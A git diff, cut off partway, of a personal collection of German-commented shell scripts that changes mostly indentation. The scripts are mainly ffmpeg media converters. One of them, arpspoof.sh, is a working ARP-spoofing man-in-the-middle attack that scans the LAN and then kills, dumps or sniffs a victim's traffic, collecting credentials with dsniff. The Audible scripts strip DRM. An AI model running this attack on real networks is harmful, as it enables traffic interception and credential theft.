diff --git a/android-app-installer.sh b/android-app-installer.sh index 496549b..189e75a 100755 --- a/android-app-installer.sh +++ b/android-app-installer.sh @@ -11,32 +11,32 @@ replace='_' # Ersetzungszeichen # aktuellen Verzeichnis for source in * do - case "$source" in - # Ist ein Leerzeichen im Namen vorhanden ... - *"$space"*) - # Erst mal den Namen in dest speichern ... - dest=`echo "$source" | sed "s/$space/$replace/g"` - # ... überprüfen, ob bereits eine Datei bzw. - # ein Verzeichnis mit gleichem Namen existiert - if test -f "$dest" - then - echo "Achtung: "$dest" existiert bereits ... \ - (Überspringen)" 1>&2 - continue - fi - # Vorgang auf der Standardausgabe mitschreiben - echo mv "$source" "$dest" - # Jetzt ersetzen ... - mv "$source" "$dest" - ;; - esac + case "$source" in + # Ist ein Leerzeichen im Namen vorhanden ... + *"$space"*) + # Erst mal den Namen in dest speichern ... + dest=`echo "$source" | sed "s/$space/$replace/g"` + # ... überprüfen, ob bereits eine Datei bzw. + # ein Verzeichnis mit gleichem Namen existiert + if test -f "$dest" + then + echo "Achtung: "$dest" existiert bereits ... \ + (Überspringen)" 1>&2 + continue + fi + # Vorgang auf der Standardausgabe mitschreiben + echo mv "$source" "$dest" + # Jetzt ersetzen ... + mv "$source" "$dest" + ;; + esac done # Beginne installieren der apks finds=$(find $1*.apk) for wort in $finds do - echo "Installiere $wort" - pm install "$wort" + echo "Installiere $wort" + pm install "$wort" done echo "Fertig!!!" diff --git a/arpspoof.sh b/arpspoof.sh index 80338fb..52834d4 100755 --- a/arpspoof.sh +++ b/arpspoof.sh @@ -13,16 +13,16 @@ echo 1 > /proc/sys/net/ipv4/ip_forward gateway=$(ip route show | grep dev -m1 | cut -d" " -f 3 ) if [ -z "$1" ]; then - ip link - read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul + ip link + read -p "Wie heisst die Schnittstelle? [enp4s0\eth0] : " modul else - modul="$1" + modul="$1" fi if [ -z "$2" ]; then - nmap -v -sn ${gateway}/24 - read -p "Wie heisst die IP? : " ip + nmap -v -sn ${gateway}/24 + read -p "Wie heisst die IP? : " ip else - ip="$2" + ip="$2" fi arpspoof -i $modul -t $ip -r $gateway & @@ -30,9 +30,9 @@ arpspoof -i $modul -t $ip -r $gateway & sleep 2 if [ -z "$3" ] || [ "$3" == "tcpkill" ]; then - tcpkill -9 host $ip + tcpkill -9 host $ip elif [ "$3" == "tcpdump" ]; then - tcpdump -i $modul -A host $ip > out.txt + tcpdump -i $modul -A host $ip > out.txt else - dsniff -i $modul -mc > out.txt + dsniff -i $modul -mc > out.txt fi diff --git a/asciiConvert.sh b/asciiConvert.sh index 5a91134..ecb6508 100755 --- a/asciiConvert.sh +++ b/asciiConvert.sh @@ -5,11 +5,11 @@ set -e format=$(echo ${1##*.}) if [ $format != "jpg" ] then -convert $1 /tmp/logo.jpg + convert $1 /tmp/logo.jpg else -cp $1 /tmp/logo.jpg -fi + cp $1 /tmp/logo.jpg +fi jp2a $2 --background=dark --colors /tmp/logo.jpg --output=/tmp/logo.txt while IFS= read -r line; do - echo "echo -e \"$line\"" + echo "echo -e \"$line\"" done < /tmp/logo.txt diff --git a/audible_convert_to_audio.sh b/audible_convert_to_audio.sh index 819af18..d1f4ca3 100755 --- a/audible_convert_to_audio.sh +++ b/audible_convert_to_audio.sh @@ -5,14 +5,14 @@ read -p "Wie heißen die activation_bytes? : " code while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -activation_bytes $code -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -activation_bytes $code -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" + shift + cd - done #convert.sh /*.flv diff --git a/audible_convert_to_audio_windows.sh b/audible_convert_to_audio_windows.sh index 887e88f..c79874c 100755 --- a/audible_convert_to_audio_windows.sh +++ b/audible_convert_to_audio_windows.sh @@ -5,14 +5,14 @@ read -p "Wie heißen die activation_bytes? : " code while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ../ffmpeg.exe -activation_bytes $code -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ../ffmpeg.exe -activation_bytes $code -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" + shift + cd - done #convert.sh /*.flv diff --git a/audible_convert_to_ogg.sh b/audible_convert_to_ogg.sh index 42828d9..1eee971 100755 --- a/audible_convert_to_ogg.sh +++ b/audible_convert_to_ogg.sh @@ -6,14 +6,14 @@ shift while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -activation_bytes $code -i "$FILENAME" -vn -n -c:a libvorbis -b:a 128k "${FILENAME%.*}.ogg" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -activation_bytes $code -i "$FILENAME" -vn -n -c:a libvorbis -b:a 128k "${FILENAME%.*}.ogg" & + shift + cd - done #convert.sh code /*.ogg diff --git a/compress.sh b/compress.sh index 7e463ef..151e379 100755 --- a/compress.sh +++ b/compress.sh @@ -5,33 +5,33 @@ set -ex archiv=$2 if [ "make" == "$1" ]; then - while (( "$(expr $# - 2)" )) + while (( "$(expr $# - 2)" )) do - dateien="$3 ${dateien}" + dateien="$3 ${dateien}" - shift + shift - done + done - tar -cf ${archiv}.tar ${dateien} - pixz ${archiv}.tar ${archiv}.tar.pxz + tar -cf ${archiv}.tar ${dateien} + pixz ${archiv}.tar ${archiv}.tar.pxz - # säuberung - rm ${archiv}.tar + # säuberung + rm ${archiv}.tar elif [ "restore" == "$1" ]; then - pixz -d ${archiv} ${archiv/.pxz*} + pixz -d ${archiv} ${archiv/.pxz*} - tar -xf ${archiv/.pxz*} + tar -xf ${archiv/.pxz*} - # säuberung - rm ${archiv/.pxz*} + # säuberung + rm ${archiv/.pxz*} else - echo "tar.pxz compress-script" - echo "./compress.sh make/restore archivname input/output" - echo "./compress.sh make archivname daten" - echo "./compress.sh restore archivname" - echo "or use" - echo "tar -Ipixz -cf output.tpxz dir # Make tar use pixz automatically" + echo "tar.pxz compress-script" + echo "./compress.sh make/restore archivname input/output" + echo "./compress.sh make archivname daten" + echo "./compress.sh restore archivname" + echo "or use" + echo "tar -Ipixz -cf output.tpxz dir # Make tar use pixz automatically" fi diff --git a/convert_onefile.sh b/convert_onefile.sh index 72466a6..cdb7931 100755 --- a/convert_onefile.sh +++ b/convert_onefile.sh @@ -5,15 +5,15 @@ set -ex while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" - cat "${FILENAME%.*}.ogg" >> onefile.ogg - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" + cat "${FILENAME%.*}.ogg" >> onefile.ogg + shift + cd - done #convert.sh /*.flv diff --git a/convert_onefile_mp3.sh b/convert_onefile_mp3.sh index a0e8a4b..bbc74d4 100755 --- a/convert_onefile_mp3.sh +++ b/convert_onefile_mp3.sh @@ -5,15 +5,15 @@ set -ex while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libmp3lame -q:a 2 "${FILENAME%.*}.mp3" - cat "${FILENAME%.*}.mp3" >> onefile.mp3 - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libmp3lame -q:a 2 "${FILENAME%.*}.mp3" + cat "${FILENAME%.*}.mp3" >> onefile.mp3 + shift + cd - done cd - diff --git a/convert_onefile_mp3_copy.sh b/convert_onefile_mp3_copy.sh index c441b63..843207b 100755 --- a/convert_onefile_mp3_copy.sh +++ b/convert_onefile_mp3_copy.sh @@ -5,15 +5,15 @@ set -ex while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - #ffmpeg -i "$FILENAME" -vn -n -c:a copy "${FILENAME%.*}1.mp3" - cat "${FILENAME%.*}.mp3" >> onefile.mp3 - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + #ffmpeg -i "$FILENAME" -vn -n -c:a copy "${FILENAME%.*}1.mp3" + cat "${FILENAME%.*}.mp3" >> onefile.mp3 + shift + cd - done cd - diff --git a/convert_onefile_mp3_copy_cut.sh b/convert_onefile_mp3_copy_cut.sh index 9bb1580..bbabb57 100755 --- a/convert_onefile_mp3_copy_cut.sh +++ b/convert_onefile_mp3_copy_cut.sh @@ -17,24 +17,24 @@ i=0 while (( "$#" )) do - #cutter - if [ "$create" == "$i" ]; then - create="$(expr $create + $files)" - name="$(expr $name + 1)" - echo ${name} - fi - i="$(expr $i + 1)" + #cutter + if [ "$create" == "$i" ]; then + create="$(expr $create + $files)" + name="$(expr $name + 1)" + echo ${name} + fi + i="$(expr $i + 1)" - echo "${1%/*}" - cd "${1%/*}" # gehe ins Verzeichnis + echo "${1%/*}" + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - #ffmpeg -i "$FILENAME" -vn -n -c:a copy "${FILENAME%.*}1.mp3" - cat "${FILENAME%.*}.mp3" >> onefile"$name".mp3 - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + #ffmpeg -i "$FILENAME" -vn -n -c:a copy "${FILENAME%.*}1.mp3" + cat "${FILENAME%.*}.mp3" >> onefile"$name".mp3 + shift + cd - done #cd - diff --git a/convert_onefile_ogg.sh b/convert_onefile_ogg.sh index 72466a6..cdb7931 100755 --- a/convert_onefile_ogg.sh +++ b/convert_onefile_ogg.sh @@ -5,15 +5,15 @@ set -ex while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" - cat "${FILENAME%.*}.ogg" >> onefile.ogg - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" + cat "${FILENAME%.*}.ogg" >> onefile.ogg + shift + cd - done #convert.sh /*.flv diff --git a/convert_onefile_ogg_copy_cut.sh b/convert_onefile_ogg_copy_cut.sh index 3e82954..d27dc2b 100755 --- a/convert_onefile_ogg_copy_cut.sh +++ b/convert_onefile_ogg_copy_cut.sh @@ -14,23 +14,23 @@ i=0 while (( "$#" )) do - #cutter - if [ "$create" == "$i" ]; then - create="$(expr $create + $files)" - name="$(expr $name + 1)" - fi - i="$(expr $i + 1)" + #cutter + if [ "$create" == "$i" ]; then + create="$(expr $create + $files)" + name="$(expr $name + 1)" + fi + i="$(expr $i + 1)" - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - # ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" - cat "${FILENAME%.*}.ogg" >> onefile"$name".ogg - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + # ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" + cat "${FILENAME%.*}.ogg" >> onefile"$name".ogg + shift + cd - done #convert.sh /*.flv diff --git a/convert_onefile_ogg_cut.sh b/convert_onefile_ogg_cut.sh index 5a706c3..0ab4d72 100755 --- a/convert_onefile_ogg_cut.sh +++ b/convert_onefile_ogg_cut.sh @@ -14,23 +14,23 @@ i=0 while (( "$#" )) do - #cutter - if [ "$create" == "$i" ]; then - create="$(expr $create + $files)" - name="$(expr $name + 1)" - fi - i="$(expr $i + 1)" + #cutter + if [ "$create" == "$i" ]; then + create="$(expr $create + $files)" + name="$(expr $name + 1)" + fi + i="$(expr $i + 1)" - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" - cat "${FILENAME%.*}.ogg" >> onefile"$name".ogg - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" + cat "${FILENAME%.*}.ogg" >> onefile"$name".ogg + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_audio-android.sh b/convert_to_audio-android.sh index 08cf4a9..7f86a62 100755 --- a/convert_to_audio-android.sh +++ b/convert_to_audio-android.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - /data/data/com.termux/files/usr/bin/ffmpeg -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + /data/data/com.termux/files/usr/bin/ffmpeg -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_audio.sh b/convert_to_audio.sh index 0706afb..dd377bb 100755 --- a/convert_to_audio.sh +++ b/convert_to_audio.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a flac -compression_level 2 "${FILENAME%.*}.flac" + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_flac_flac.sh b/convert_to_flac_flac.sh index 0b86319..b72bb19 100755 --- a/convert_to_flac_flac.sh +++ b/convert_to_flac_flac.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - flac -2 "$FILENAME" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + flac -2 "$FILENAME" + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_gif.sh b/convert_to_gif.sh index 5102e77..a83930f 100755 --- a/convert_to_gif.sh +++ b/convert_to_gif.sh @@ -8,14 +8,14 @@ mkdir -p ${pfad}/frames while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vf scale=320:-1:flags=lanczos,fps=10 frames/ffout%03d.png - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vf scale=320:-1:flags=lanczos,fps=10 frames/ffout%03d.png + shift + cd - done convert -loop 0 ${pfad}/frames/ffout*.png output.gif diff --git a/convert_to_m4a.sh b/convert_to_m4a.sh index 052128d..5f47bd1 100755 --- a/convert_to_m4a.sh +++ b/convert_to_m4a.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libfdk_aac -b:a 128k "${FILENAME%.*}.mp3" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libfdk_aac -b:a 128k "${FILENAME%.*}.mp3" & + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_mp3.sh b/convert_to_mp3.sh index 651ad09..724d511 100755 --- a/convert_to_mp3.sh +++ b/convert_to_mp3.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -codec:a libmp3lame -qscale:a 2 "${FILENAME%.*}.mp3" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -codec:a libmp3lame -qscale:a 2 "${FILENAME%.*}.mp3" & + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_mp4.sh b/convert_to_mp4.sh index c147e70..3b51b89 100755 --- a/convert_to_mp4.sh +++ b/convert_to_mp4.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -n -c:v libx264 -preset slow -crf 22 -c:a libfdk_aac -b:a 128k "${FILENAME%.*}.mp4" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -n -c:v libx264 -preset slow -crf 22 -c:a libfdk_aac -b:a 128k "${FILENAME%.*}.mp4" & + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_ogg-android.sh b/convert_to_ogg-android.sh index ff33e36..e9f9c28 100755 --- a/convert_to_ogg-android.sh +++ b/convert_to_ogg-android.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - /data/data/com.termux/files/usr/bin/ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + /data/data/com.termux/files/usr/bin/ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_ogg.sh b/convert_to_ogg.sh index a6c5542..ff9ecba 100755 --- a/convert_to_ogg.sh +++ b/convert_to_ogg.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libvorbis -b:a 192k "${FILENAME%.*}.ogg" & + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_ogg_oggenc.sh b/convert_to_ogg_oggenc.sh index 53299f7..44d37c8 100755 --- a/convert_to_ogg_oggenc.sh +++ b/convert_to_ogg_oggenc.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - oggenc -q 6 "$FILENAME" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + oggenc -q 6 "$FILENAME" + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_opus.sh b/convert_to_opus.sh index 8ad602f..76a3ea6 100755 --- a/convert_to_opus.sh +++ b/convert_to_opus.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vn -n -c:a libopus -b:a 160k "${FILENAME%.*}.opus" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vn -n -c:a libopus -b:a 160k "${FILENAME%.*}.opus" + shift + cd - done #convert.sh /*.flac diff --git a/convert_to_opus_opusenc.sh b/convert_to_opus_opusenc.sh index c37c4cc..b6c740c 100755 --- a/convert_to_opus_opusenc.sh +++ b/convert_to_opus_opusenc.sh @@ -3,16 +3,16 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - opusenc --bitrate 160 "$FILENAME" "${FILENAME%.*}.opus" - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + opusenc --bitrate 160 "$FILENAME" "${FILENAME%.*}.opus" + shift + cd - done #convert.sh /*.flac -#Es können ausschließlich WAVE, AIFF, FLAC und PCM-Rohdaten verarbeitet werden. +#Es können ausschließlich WAVE, AIFF, FLAC und PCM-Rohdaten verarbeitet werden. diff --git a/convert_to_png.sh b/convert_to_png.sh index 4a8c587..b6ceaf5 100755 --- a/convert_to_png.sh +++ b/convert_to_png.sh @@ -8,14 +8,14 @@ mkdir -p ${pfad}/frames while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -vf scale=320:-1:flags=lanczos,fps=10 frames/ffout%03d.png - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -vf scale=320:-1:flags=lanczos,fps=10 frames/ffout%03d.png + shift + cd - done #convert -loop 0 ${pfad}/frames/ffout*.png output.gif diff --git a/convert_to_webm.sh b/convert_to_webm.sh index 78400c0..1fcacb9 100755 --- a/convert_to_webm.sh +++ b/convert_to_webm.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -n -c:v libvpx -crf 10 -b:v 1M -c:a libvorbis "${FILENAME%.*}.webm" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -n -c:v libvpx -crf 10 -b:v 1M -c:a libvorbis "${FILENAME%.*}.webm" & + shift + cd - done #convert.sh /*.flv diff --git a/convert_to_webm9.sh b/convert_to_webm9.sh index 9b2e54b..a07cae6 100755 --- a/convert_to_webm9.sh +++ b/convert_to_webm9.sh @@ -3,14 +3,14 @@ while (( "$#" )) do - cd "${1%/*}" # gehe ins Verzeichnis + cd "${1%/*}" # gehe ins Verzeichnis - FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" - # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen - ffmpeg -i "$FILENAME" -n -c:v libvpx-vp9 -crf 30 -b:v 0 -c:a libvorbis "${FILENAME%.*}.webm" & - shift - cd - + FILENAME=${1##*/} # Dateiname ist alles ab dem letzten '/' + echo "$FILENAME" + # guck dir die Ausgabe erstmal an - wenn alles passt kannst Du das "echo" weglassen + ffmpeg -i "$FILENAME" -n -c:v libvpx-vp9 -crf 30 -b:v 0 -c:a libvorbis "${FILENAME%.*}.webm" & + shift + cd - done #convert.sh /*.flv diff --git a/cp_onefile.sh b/cp_onefile.sh index 2c5e45f..8b39571 100755 --- a/cp_onefile.sh +++ b/cp_onefile.sh @@ -7,13 +7,13 @@ set -ex i=0 for wort in $finds do - echo "$wort" + echo "$wort" - FILENAME=${wort##*/} # Dateiname ist alles ab dem letzten '/' - echo "$FILENAME" + 